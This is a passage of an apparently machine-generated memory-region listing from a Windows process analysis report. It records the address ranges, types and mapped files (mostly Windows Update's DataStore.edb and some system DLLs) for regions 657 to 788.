entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000053c0000" filename = "" Region: id = 657 start_va = 0x53d0000 end_va = 0x53e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "esent.dll.mui" filename = "\\Windows\\System32\\en-US\\ESENT.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\esent.dll.mui") Region: id = 658 start_va = 0x53f0000 end_va = 0x53f1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000053f0000" filename = "" Region: id = 659 start_va = 0x5400000 end_va = 0x55fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005400000" filename = "" Region: id = 660 start_va = 0x5600000 end_va = 0x56fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005600000" filename = "" Region: id = 661 start_va = 0x5700000 end_va = 0x57fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005700000" filename = "" Region: id = 662 start_va = 0x5800000 end_va = 0x58fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005800000" filename = "" Region: id = 663 start_va = 0x5900000 end_va = 0x59d1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005900000" filename = "" Region: id = 664 start_va = 0x59e0000 end_va = 0x59e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000059e0000" filename = "" Region: id = 665 start_va = 0x59f0000 end_va = 0x59fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000059f0000" filename = "" Region: id = 666 start_va = 0x5a00000 end_va = 0x5afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005a00000" filename = "" Region: id = 667 start_va = 0x5b00000 end_va = 0x5bd1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005b00000" filename = "" Region: id = 668 start_va = 0x5be0000 end_va = 0x5bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005be0000" filename = "" Region: id = 669 start_va = 0x5c00000 end_va = 0x5c03fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005c00000" filename = "" Region: id = 670 start_va = 0x5c10000 end_va = 0x5c11fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005c10000" filename = "" Region: id = 671 start_va = 0x5c20000 end_va = 0x5c7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005c20000" filename = "" Region: id = 672 start_va = 0x5c80000 end_va = 0x5c81fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005c80000" filename = "" Region: id = 673 start_va = 0x5c90000 end_va = 0x5c90fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005c90000" filename = "" Region: id = 674 start_va = 0x5ca0000 end_va = 0x5d1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005ca0000" filename = "" Region: id = 675 start_va = 0x5d20000 end_va = 0x5d2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005d20000" filename = "" Region: id = 676 start_va = 0x5d30000 end_va = 0x5d3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005d30000" filename = "" Region: id = 677 start_va = 0x5d40000 end_va = 0x5d4ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 678 start_va = 0x5d50000 end_va = 0x5d5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005d50000" filename = "" Region: id = 679 start_va = 0x5d60000 end_va = 0x5d6ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 680 start_va = 0x5d70000 end_va = 0x5d7ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 681 start_va = 0x5d80000 end_va = 0x5d8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005d80000" filename = "" Region: id = 682 start_va = 0x5d90000 end_va = 0x5d9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005d90000" filename = "" Region: id = 683 start_va = 0x5da0000 end_va = 0x5daffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005da0000" filename = "" Region: id = 684 start_va = 0x5db0000 end_va = 0x5dbffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 685 start_va = 0x5dc0000 end_va = 0x5dc3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005dc0000" filename = "" Region: id = 686 start_va = 0x5dd0000 end_va = 0x5ddffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 687 start_va = 0x5de0000 end_va = 0x5de7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wpndatabase.db-shm" filename = "\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Notifications\\wpndatabase.db-shm" (normalized: "c:\\windows\\system32\\config\\systemprofile\\appdata\\local\\microsoft\\windows\\notifications\\wpndatabase.db-shm") Region: id = 688 start_va = 0x5df0000 end_va = 0x5e6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005df0000" filename = "" Region: id = 689 start_va = 0x5e70000 end_va = 0x5e71fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005e70000" filename = "" Region: id = 690 start_va = 0x5e80000 end_va = 0x5e80fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005e80000" filename = "" Region: id = 691 start_va = 0x5e90000 end_va = 0x5e93fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005e90000" filename = "" Region: id = 692 start_va = 0x5ea0000 end_va = 0x5ebffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005ea0000" filename = "" Region: id = 693 start_va = 0x5ec0000 end_va = 0x5ec1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005ec0000" filename = "" Region: id = 694 start_va = 0x5ed0000 end_va = 0x5ed1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005ed0000" filename = "" Region: id = 695 start_va = 0x5ee0000 end_va = 0x5fdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005ee0000" filename = "" Region: id = 696 start_va = 0x5fe0000 end_va = 0x5feffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 697 start_va = 0x5ff0000 end_va = 0x5ffffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 698 start_va = 0x6000000 end_va = 0x61fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006000000" filename = "" Region: id = 699 start_va = 0x6200000 end_va = 0x71fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006200000" filename = "" Region: id = 700 start_va = 0x7200000 end_va = 0x727ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007200000" filename = "" Region: id = 701 start_va = 0x7280000 end_va = 0x737ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007280000" filename = "" Region: id = 702 start_va = 0x7380000 end_va = 0x73fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007380000" filename = "" Region: id = 703 start_va = 0x7400000 end_va = 0x74fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007400000" filename = "" Region: id = 704 start_va = 0x7500000 end_va = 0x750ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 705 start_va = 0x7510000 end_va = 0x751ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 706 start_va = 0x7520000 end_va = 0x752ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 707 start_va = 0x7530000 end_va = 0x762ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007530000" filename = "" Region: id = 708 start_va = 0x7630000 end_va = 0x763ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 709 start_va = 0x7640000 end_va = 0x764ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 710 start_va = 0x7650000 end_va = 0x765ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 711 start_va = 0x7660000 end_va = 0x766ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 712 start_va = 0x7670000 end_va = 0x767ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 713 start_va = 0x7680000 end_va = 0x768ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 714 start_va = 0x7690000 end_va = 0x769ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 715 start_va = 0x76a0000 end_va = 0x76affff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 716 start_va = 0x76b0000 end_va = 0x76bffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 717 start_va = 0x76c0000 end_va = 0x76c4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "pcwum.dll" filename = "\\Windows\\System32\\pcwum.dll" (normalized: "c:\\windows\\system32\\pcwum.dll") Region: id = 718 start_va = 0x76d0000 end_va = 0x76e0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wsmres.dll" filename = "\\Windows\\System32\\WsmRes.dll" (normalized: "c:\\windows\\system32\\wsmres.dll") Region: id = 719 start_va = 0x76f0000 end_va = 0x76fffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 720 start_va = 0x7700000 end_va = 0x7759fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wsmres.dll.mui" filename = "\\Windows\\System32\\en-US\\WsmRes.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\wsmres.dll.mui") Region: id = 721 start_va = 0x7760000 end_va = 0x776ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 722 start_va = 0x7770000 end_va = 0x777ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 723 start_va = 0x7780000 end_va = 0x778ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 724 start_va = 0x7790000 end_va = 0x779ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 725 start_va = 0x77a0000 end_va = 0x77affff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 726 start_va = 0x77b0000 end_va = 0x77bffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 727 start_va = 0x77c0000 end_va = 0x77cffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 728 start_va = 0x77d0000 end_va = 0x77dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 729 start_va = 0x77e0000 end_va = 0x77effff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 730 start_va = 0x77f0000 end_va = 0x77fffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 731 start_va = 0x7800000 end_va = 0x79fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007800000" filename = "" Region: id = 732 start_va = 0x7a00000 end_va = 0x7afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007a00000" filename = "" Region: id = 733 start_va = 0x7b00000 end_va = 0x7bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007b00000" filename = "" Region: id = 734 start_va = 0x7c00000 end_va = 0x7cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007c00000" filename = "" Region: id = 735 start_va = 0x7d00000 end_va = 0x7d0ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 736 start_va = 0x7d10000 end_va = 0x7d1ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 737 start_va = 0x7d20000 end_va = 0x7d2ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 738 start_va = 0x7d30000 end_va = 0x7d3ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 739 start_va = 0x7d40000 end_va = 0x7d4ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 740 start_va = 0x7d50000 end_va = 0x7d5ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 741 start_va = 0x7d60000 end_va = 0x7d6ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 742 start_va = 0x7d70000 end_va = 0x7d7ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 743 start_va = 0x7d80000 end_va = 0x7d8ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 744 start_va = 0x7d90000 end_va = 0x7d9ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 745 start_va = 0x7da0000 end_va = 0x7daffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 746 start_va = 0x7db0000 end_va = 0x7dbffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 747 start_va = 0x7dc0000 end_va = 0x7dcffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 748 start_va = 0x7dd0000 end_va = 0x7ddffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 749 start_va = 0x7de0000 end_va = 0x7deffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 750 start_va = 0x7df0000 end_va = 0x7dfffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 751 start_va = 0x7e00000 end_va = 0x7efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007e00000" filename = "" Region: id = 752 start_va = 0x7f00000 end_va = 0x7f0ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 753 start_va = 0x7f10000 end_va = 0x7f1ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 754 start_va = 0x7f20000 end_va = 0x7f2ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 755 start_va = 0x7f30000 end_va = 0x7f3ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 756 start_va = 0x7f40000 end_va = 0x7f4ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 757 start_va = 0x7f50000 end_va = 0x7f5ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 758 start_va = 0x7f60000 end_va = 0x7f6ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 759 start_va = 0x7f70000 end_va = 0x7f7ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 760 start_va = 0x7f80000 end_va = 0x7f8ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 761 start_va = 0x7f90000 end_va = 0x7f9ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 762 start_va = 0x7fa0000 end_va = 0x7faffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 763 start_va = 0x7fb0000 end_va = 0x7fbffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 764 start_va = 0x7fc0000 end_va = 0x7fcffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 765 start_va = 0x7fd0000 end_va = 0x7fdffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 766 start_va = 0x7fe0000 end_va = 0x7feffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 767 start_va = 0x7ff0000 end_va = 0x7ffffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 768 start_va = 0x8000000 end_va = 0x800ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 769 start_va = 0x8010000 end_va = 0x801ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 770 start_va = 0x8020000 end_va = 0x802ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 771 start_va = 0x8030000 end_va = 0x803ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 772 start_va = 0x8040000 end_va = 0x804ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 773 start_va = 0x8050000 end_va = 0x805ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 774 start_va = 0x8060000 end_va = 0x806ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 775 start_va = 0x8070000 end_va = 0x807ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 776 start_va = 0x8080000 end_va = 0x808ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 777 start_va = 0x8090000 end_va = 0x809ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 778 start_va = 0x80a0000 end_va = 0x80affff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 779 start_va = 0x80b0000 end_va = 0x80bffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 780 start_va = 0x80c0000 end_va = 0x80c3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000080c0000" filename = "" Region: id = 781 start_va = 0x80d0000 end_va = 0x80dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 782 start_va = 0x80e0000 end_va = 0x81dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000080e0000" filename = "" Region: id = 783 start_va = 0x81e0000 end_va = 0x81effff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 784 start_va = 0x81f0000 end_va = 0x81f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000081f0000" filename = "" Region: id = 785 start_va = 0x8200000 end_va = 0x83fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008200000" filename = "" Region: id = 786 start_va = 0x8400000 end_va = 0x847ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008400000" filename = "" Region: id = 787 start_va = 0x8480000 end_va = 0x857ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008480000" filename = "" Region: id = 788 start_va = 0x8580000 end_va = 0x8581fff monitored = 1 entry_point = 